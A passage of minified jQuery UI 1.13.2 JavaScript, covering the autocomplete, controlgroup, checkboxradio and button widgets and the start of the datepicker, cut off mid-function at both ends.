t=t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),e=new RegExp("^"+t,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return e.test(String.prototype.trim.call(V(this).children(".ui-menu-item-wrapper").text()))})}});V.widget("ui.autocomplete",{version:"1.13.2",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,liveRegionTimer:null,_create:function(){var i,s,n,t=this.element[0].nodeName.toLowerCase(),e="textarea"===t,t="input"===t;this.isMultiLine=e||!t&&this._isContentEditable(this.element),this.valueMethod=this.element[e||t?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(t){if(this.element.prop("readOnly"))s=n=i=!0;else{s=n=i=!1;var e=V.ui.keyCode;switch(t.keyCode){case e.PAGE_UP:i=!0,this._move("previousPage",t);break;case e.PAGE_DOWN:i=!0,this._move("nextPage",t);break;case e.UP:i=!0,this._keyEvent("previous",t);break;case e.DOWN:i=!0,this._keyEvent("next",t);break;case e.ENTER:this.menu.active&&(i=!0,t.preventDefault(),this.menu.select(t));break;case e.TAB:this.menu.active&&this.menu.select(t);break;case e.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(t),t.preventDefault());break;default:s=!0,this._searchTimeout(t)}}},keypress:function(t){if(i)return i=!1,void(this.isMultiLine&&!this.menu.element.is(":visible")||t.preventDefault());if(!s){var e=V.ui.keyCode;switch(t.keyCode){case e.PAGE_UP:this._move("previousPage",t);break;case e.PAGE_DOWN:this._move("nextPage",t);break;case e.UP:this._keyEvent("previous",t);break;case e.DOWN:this._keyEvent("next",t)}}},input:function(t){if(n)return n=!1,void t.preventDefault();this._searchTimeout(t)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(t){clearTimeout(this.searching),this.close(t),this._change(t)}}),this._initSource(),this.menu=V("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().attr({unselectable:"on"}).menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(t){t.preventDefault()},menufocus:function(t,e){var i,s;if(this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type)))return this.menu.blur(),void this.document.one("mousemove",function(){V(t.target).trigger(t.originalEvent)});s=e.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",t,{item:s})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(s.value),(i=e.item.attr("aria-label")||s.value)&&String.prototype.trim.call(i).length&&(clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(V("<div>").text(i))},100))},menuselect:function(t,e){var i=e.item.data("ui-autocomplete-item"),s=this.previous;this.element[0]!==V.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger("select",t,{item:i})&&this._value(i.value),this.term=this._value(),this.close(t),this.selectedItem=i}}),this.liveRegion=V("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(t,e){this._super(t,e),"source"===t&&this._initSource(),"appendTo"===t&&this.menu.element.appendTo(this._appendTo()),"disabled"===t&&e&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(t){var e=this.menu.element[0];return t.target===this.element[0]||t.target===e||V.contains(e,t.target)},_closeOnClickOutside:function(t){this._isEventTargetInWidget(t)||this.close()},_appendTo:function(){var t=this.options.appendTo;return t=!(t=!(t=t&&(t.jquery||t.nodeType?V(t):this.document.find(t).eq(0)))||!t[0]?this.element.closest(".ui-front, dialog"):t).length?this.document[0].body:t},_initSource:function(){var i,s,n=this;Array.isArray(this.options.source)?(i=this.options.source,this.source=function(t,e){e(V.ui.autocomplete.filter(i,t.term))}):"string"==typeof this.options.source?(s=this.options.source,this.source=function(t,e){n.xhr&&n.xhr.abort(),n.xhr=V.ajax({url:s,data:t,dataType:"json",success:function(t){e(t)},error:function(){e([])}})}):this.source=this.options.source},_searchTimeout:function(s){clearTimeout(this.searching),this.searching=this._delay(function(){var t=this.term===this._value(),e=this.menu.element.is(":visible"),i=s.altKey||s.ctrlKey||s.metaKey||s.shiftKey;t&&(e||i)||(this.selectedItem=null,this.search(null,s))},this.options.delay)},search:function(t,e){return t=null!=t?t:this._value(),this.term=this._value(),t.length<this.options.minLength?this.close(e):!1!==this._trigger("search",e)?this._search(t):void 0},_search:function(t){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:t},this._response())},_response:function(){var e=++this.requestIndex;return function(t){e===this.requestIndex&&this.__response(t),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}.bind(this)},__response:function(t){t=t&&this._normalize(t),this._trigger("response",null,{content:t}),!this.options.disabled&&t&&t.length&&!this.cancelSearch?(this._suggest(t),this._trigger("open")):this._close()},close:function(t){this.cancelSearch=!0,this._close(t)},_close:function(t){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",t))},_change:function(t){this.previous!==this._value()&&this._trigger("change",t,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:V.map(t,function(t){return"string"==typeof t?{label:t,value:t}:V.extend({},t,{label:t.label||t.value,value:t.value||t.label})})},_suggest:function(t){var e=this.menu.element.empty();this._renderMenu(e,t),this.isNewMenu=!0,this.menu.refresh(),e.show(),this._resizeMenu(),e.position(V.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var t=this.menu.element;t.outerWidth(Math.max(t.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(i,t){var s=this;V.each(t,function(t,e){s._renderItemData(i,e)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-autocomplete-item",e)},_renderItem:function(t,e){return V("<li>").append(V("<div>").text(e.label)).appendTo(t)},_move:function(t,e){if(this.menu.element.is(":visible"))return this.menu.isFirstItem()&&/^previous/.test(t)||this.menu.isLastItem()&&/^next/.test(t)?(this.isMultiLine||this._value(this.term),void this.menu.blur()):void this.menu[t](e);this.search(null,e)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(t,e){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(t,e),e.preventDefault())},_isContentEditable:function(t){if(!t.length)return!1;var e=t.prop("contentEditable");return"inherit"===e?this._isContentEditable(t.parent()):"true"===e}}),V.extend(V.ui.autocomplete,{escapeRegex:function(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,e){var i=new RegExp(V.ui.autocomplete.escapeRegex(e),"i");return V.grep(t,function(t){return i.test(t.label||t.value||t)})}}),V.widget("ui.autocomplete",V.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(t){return t+(1<t?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(t){var e;this._superApply(arguments),this.options.disabled||this.cancelSearch||(e=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(V("<div>").text(e))},100))}});V.ui.autocomplete;var tt=/ui-corner-([a-z]){2,6}/g;V.widget("ui.controlgroup",{version:"1.13.2",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var o=this,a=[];V.each(this.options.items,function(s,t){var e,n={};if(t)return"controlgroupLabel"===s?((e=o.element.find(t)).each(function(){var t=V(this);t.children(".ui-controlgroup-label-contents").length||t.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")}),o._addClass(e,null,"ui-widget ui-widget-content ui-state-default"),void(a=a.concat(e.get()))):void(V.fn[s]&&(n=o["_"+s+"Options"]?o["_"+s+"Options"]("middle"):{classes:{}},o.element.find(t).each(function(){var t=V(this),e=t[s]("instance"),i=V.widget.extend({},n);"button"===s&&t.parent(".ui-spinner").length||((e=e||t[s]()[s]("instance"))&&(i.classes=o._resolveClassesValues(i.classes,e)),t[s](i),i=t[s]("widget"),V.data(i[0],"ui-controlgroup-data",e||t[s]("instance")),a.push(i[0]))})))}),this.childWidgets=V(V.uniqueSort(a)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(e){this.childWidgets.each(function(){var t=V(this).data("ui-controlgroup-data");t&&t[e]&&t[e]()})},_updateCornerClass:function(t,e){e=this._buildSimpleOptions(e,"label").classes.label;this._removeClass(t,null,"ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"),this._addClass(t,null,e)},_buildSimpleOptions:function(t,e){var i="vertical"===this.options.direction,s={classes:{}};return s.classes[e]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[t],s},_spinnerOptions:function(t){t=this._buildSimpleOptions(t,"ui-spinner");return t.classes["ui-spinner-up"]="",t.classes["ui-spinner-down"]="",t},_buttonOptions:function(t){return this._buildSimpleOptions(t,"ui-button")},_checkboxradioOptions:function(t){return this._buildSimpleOptions(t,"ui-checkboxradio-label")},_selectmenuOptions:function(t){var e="vertical"===this.options.direction;return{width:e&&"auto",classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(e?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(e?"top":"left")},last:{"ui-selectmenu-button-open":e?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(e?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[t]}},_resolveClassesValues:function(i,s){var n={};return V.each(i,function(t){var e=s.options.classes[t]||"",e=String.prototype.trim.call(e.replace(tt,""));n[t]=(e+" "+i[t]).replace(/\s+/g," ")}),n},_setOption:function(t,e){"direction"===t&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(t,e),"disabled"!==t?this.refresh():this._callChildMethod(e?"disable":"enable")},refresh:function(){var n,o=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),n=this.childWidgets,(n=this.options.onlyVisible?n.filter(":visible"):n).length&&(V.each(["first","last"],function(t,e){var i,s=n[e]().data("ui-controlgroup-data");s&&o["_"+s.widgetName+"Options"]?((i=o["_"+s.widgetName+"Options"](1===n.length?"only":e)).classes=o._resolveClassesValues(i.classes,s),s.element[s.widgetName](i)):o._updateCornerClass(n[e](),e)}),this._callChildMethod("refresh"))}});V.widget("ui.checkboxradio",[V.ui.formResetMixin,{version:"1.13.2",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var t,e=this._super()||{};return this._readType(),t=this.element.labels(),this.label=V(t[t.length-1]),this.label.length||V.error("No label found for checkboxradio widget"),this.originalLabel="",(t=this.label.contents().not(this.element[0])).length&&(this.originalLabel+=t.clone().wrapAll("<div></div>").parent().html()),this.originalLabel&&(e.label=this.originalLabel),null!=(t=this.element[0].disabled)&&(e.disabled=t),e},_create:function(){var t=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),t&&this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var t=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===t&&/radio|checkbox/.test(this.type)||V.error("Can't create checkboxradio on element.nodeName="+t+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var t=this.element[0].name,e="input[name='"+V.escapeSelector(t)+"']";return t?(this.form.length?V(this.form[0].elements).filter(e):V(e).filter(function(){return 0===V(this)._form().length})).not(this.element):V([])},_toggleClasses:function(){var t=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",t)._toggleClass(this.icon,null,"ui-icon-blank",!t),"radio"===this.type&&this._getRadioGroup().each(function(){var t=V(this).checkboxradio("instance");t&&t._removeClass(t.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(t,e){if("label"!==t||e){if(this._super(t,e),"disabled"===t)return this._toggleClass(this.label,null,"ui-state-disabled",e),void(this.element[0].disabled=e);this.refresh()}},_updateIcon:function(t){var e="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=V("<span>"),this.iconSpace=V("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(e+=t?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,t?"ui-icon-blank":"ui-icon-check")):e+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",e),t||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var t=this.label.contents().not(this.element[0]);this.icon&&(t=t.not(this.icon[0])),(t=this.iconSpace?t.not(this.iconSpace[0]):t).remove(),this.label.append(this.options.label)},refresh:function(){var t=this.element[0].checked,e=this.element[0].disabled;this._updateIcon(t),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),null!==this.options.label&&this._updateLabel(),e!==this.options.disabled&&this._setOptions({disabled:e})}}]);var et;V.ui.checkboxradio;V.widget("ui.button",{version:"1.13.2",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var t,e=this._super()||{};return this.isInput=this.element.is("input"),null!=(t=this.element[0].disabled)&&(e.disabled=t),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(e.label=this.originalLabel),e},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(t){t.keyCode===V.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(t,e){var i="iconPosition"!==t,s=i?this.options.iconPosition:e,t="top"===s||"bottom"===s;this.icon?i&&this._removeClass(this.icon,null,this.options.icon):(this.icon=V("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),i&&this._addClass(this.icon,null,e),this._attachIcon(s),t?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=V("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(s))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(t){this.icon[/^(?:end|bottom)/.test(t)?"before":"after"](this.iconSpace)},_attachIcon:function(t){this.element[/^(?:end|bottom)/.test(t)?"append":"prepend"](this.icon)},_setOptions:function(t){var e=(void 0===t.showLabel?this.options:t).showLabel,i=(void 0===t.icon?this.options:t).icon;e||i||(t.showLabel=!0),this._super(t)},_setOption:function(t,e){"icon"===t&&(e?this._updateIcon(t,e):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove())),"iconPosition"===t&&this._updateIcon(t,e),"showLabel"===t&&(this._toggleClass("ui-button-icon-only",null,!e),this._updateTooltip()),"label"===t&&(this.isInput?this.element.val(e):(this.element.html(e),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(t,e),"disabled"===t&&(this._toggleClass(null,"ui-state-disabled",e),(this.element[0].disabled=e)&&this.element.trigger("blur"))},refresh:function(){var t=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOptions({disabled:t}),this._updateTooltip()}}),!1!==V.uiBackCompat&&(V.widget("ui.button",V.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(t,e){"text"!==t?("showLabel"===t&&(this.options.text=e),"icon"===t&&(this.options.icons.primary=e),"icons"===t&&(e.primary?(this._super("icon",e.primary),this._super("iconPosition","beginning")):e.secondary&&(this._super("icon",e.secondary),this._super("iconPosition","end"))),this._superApply(arguments)):this._super("showLabel",e)}}),V.fn.button=(et=V.fn.button,function(i){var t="string"==typeof i,s=Array.prototype.slice.call(arguments,1),n=this;return t?this.length||"instance"!==i?this.each(function(){var t=V(this).attr("type"),e=V.data(this,"ui-"+("checkbox"!==t&&"radio"!==t?"button":"checkboxradio"));return"instance"===i?(n=e,!1):e?"function"!=typeof e[i]||"_"===i.charAt(0)?V.error("no such method '"+i+"' for button widget instance"):(t=e[i].apply(e,s))!==e&&void 0!==t?(n=t&&t.jquery?n.pushStack(t.get()):t,!1):void 0:V.error("cannot call methods on button prior to initialization; attempted to call method '"+i+"'")}):n=void 0:(s.length&&(i=V.widget.extend.apply(null,[i].concat(s))),this.each(function(){var t=V(this).attr("type"),e="checkbox"!==t&&"radio"!==t?"button":"checkboxradio",t=V.data(this,"ui-"+e);t?(t.option(i||{}),t._init&&t._init()):"button"!=e?V(this).checkboxradio(V.extend({icon:!1},i)):et.call(V(this),i)})),n}),V.fn.buttonset=function(){return V.ui.controlgroup||V.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))});var it;V.ui.button;function st(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:"",selectMonthLabel:"Select month",selectYearLabel:"Select year"},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,onUpdateDatepicker:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},V.extend(this._defaults,this.regional[""]),this.regional.en=V.extend(!0,{},this.regional[""]),this.regional["en-US"]=V.extend(!0,{},this.regional.en),this.dpDiv=nt(V("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function nt(t){var e="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return t.on("mouseout",e,function(){V(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",e,ot)}function ot(){V.datepicker._isDisabledDatepicker((it.inline?it.dpDiv.parent():it.input)[0])||(V(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),V(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).addClass("ui-datepicker-next-hover"))}function at(t,e){for(var i in V.extend(t,e),e)null==e[i]&&(t[i]=e[i]);return t}V.extend(V.ui,{datepicker:{version:"1.13.2"}}),V.extend(st.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(t){return at(this._defaults,t||{}),this},_attachDatepicker:function(t,e){var i,s=t.nodeName.toLowerCase(),n="div"===s||"span"===s;t.id||(this.uuid+=1,t.id="dp"+this.uuid),(i=this._newInst(V(t),n)).settings=V.extend({},e||{}),"input"===s?this._connectDatepicker(t,i):n&&this._inlineDatepicker(t,i)},_newInst:function(t,e){return{id:t[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1"),input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:e,dpDiv:e?nt(V("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(t,e){var i=V(t);e.append=V([]),e.trigger=V([]),i.hasClass(this.markerClassName)||(this._attachments(i,e),i.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(e),V.data(t,"datepicker",e),e.settings.disabled&&this._disableDatepicker(t))},_attachments:function(t,e){var i,s=this._get(e,"appendText"),n=this._get(e,"isRTL");e.append&&e.append.remove(),s&&(e.append=V("<span>").addClass(this._appendClass).text(s),t[n?"before":"after"](e.append)),t.off("focus",this._showDatepicker),e.trigger&&e.trigger.remove(),"focus"!==(i=this._get(e,"showOn"))&&"both"!==i||t.on("focus",this._showDatepicker),"button"!==i&&"both"!==i||(s=this._get(e,"buttonText"),i=this._get(e,"buttonImage"),this._get(e,"buttonImageOnly")?e.trigger=V("<img>").addClass(this._triggerClass).attr({src:i,alt:s,title:s}):(e.trigger=V("<button type='button'>").addClass(this._triggerClass),i?e.trigger.html(V("<img>").attr({src:i,alt:s,title:s})):e.trigger.text(s)),t[n?"before":"after"](e.trigger),e.trigger.on("click",function(){return V.datepicker._datepickerShowing&&V.datepicker._lastInput===t[0]?V.datepicker._hideDatepicker():(V.datepicker._datepickerShowing&&V.datepicker._lastInput!==t[0]&&V.datepicker._hideDatepicker(),V.datepicker._showDatepicker(t[0])),!1}))},_autoSize:function(t){var e,i,s,n,o,a;this._get(t,"autoSize")&&!t.inline&&(o=new Date(2009,11,20),(a=this._get(t,"dateFormat")).match(/[DM]/)&&(e=function(t){for(n=s=i=0;n<t.length;n++)t[n].length>i&&(i=t[n].length,s=n);return s},o.setMonth(e(this._get(t,a.match(/MM/)?"monthNames":"monthNamesShort"))),o.setDate(e(this._get(t,a.match(/DD/)?"dayNames":"dayNamesShort"))+20-o.getDay())),t.input.attr("size",this._formatDate(t,o).length))},_inlineDatepicker:function(t,e){var i=V(t);i.hasClass(this.markerClassName)||(i.addClass(this.markerClassName).append(e.dpDiv),V.data(t,"datepicker",e),this._setDate(e,this._getDefaultDate(e),!0),this._updateDatepicker(e),this._updateAlternate(e),e.settings.disabled&&this._disableDatepicker(t),e.dpDiv.css("display","block"))},_dialogDatepicker:function(t,e,i,s,n){var o,a=this._dialogInst;return a||(this.uuid+=1,o="dp"+this.uuid,this._dialogInput=V("<input type='text' id='"+o+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),V("body").append(this._dialogInput),(a=this._dialogInst=this._newInst(this._dialogInput,!1)).settings={},V.data(this._dialogInput[0],"datepicker",a)),at(a.settings,s||{}),e=e&&e.constructor===Date?this._formatDate(a,e):e,this._dialogInput.val(e),this._pos=n?n.length?n:[n.pageX,n.pageY]:null,this._pos||(o=document.documentElement.clientWidth,s=document.documentElement.clientHeight,e=document.documentElement.scrollLeft||document.body.scrollLeft,n=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[o/2-100+e,s/2-150+n]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),a.settings.onSelect=i,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),V.blockUI&&V.blockUI(this.dpDiv),V.data(this._dialogInput[0],"datepicker",a),this},_destroyDatepicker:function(t){var e,i=V(t),s=V.data(t,"datepicker");i.hasClass(this.markerClassName)&&(e=t.nodeName.toLowerCase(),V.removeData(t,"datepicker"),"input"===e?(s.append.remove(),s.trigger.remove(),i.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):"div"!==e&&"span"!==e||i.removeClass(this.markerClassName).empty(),it===s&&(it=null,this._curInst=null))},_enableDatepicker:function(e){var t,i=V(e),s=V.data(e,"datepicker");i.hasClass(this.markerClassName)&&("input"===(t=e.nodeName.toLowerCase())?(e.disabled=!1,s.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):"div"!==t&&"span"!==t||((i=i.children("."+this._inlineClass)).children().removeClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=V.map(this._disabledInputs,function(t){return t===e?null:t}))},_disableDatepicker:function(e){var t,i=V(e),s=V.data(e,"datepicker");i.hasClass(this.markerClassName)&&("input"===(t=e.nodeName.toLowerCase())?(e.disabled=!0,s.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):"div"!==t&&"span"!==t||((i=i.children("."+this._inlineClass)).children().addClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=V.map(this._disabledInputs,function(t){return t===e?null:t}),this._disabledInputs[this._disabledInputs.length]=e)},_isDisabledDatepicker:function(t){if(!t)return!1;for(var e=0;e<this._disabledInputs.length;e++)if(this._disabledInputs[e]===t)return!0;return!1},_getInst:function(t){try{return V.data(t,"datepicker")}catch(t){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(t,e,i){var s,n,o=this._getInst(t);if(2===arguments.length&&"string"==typeof 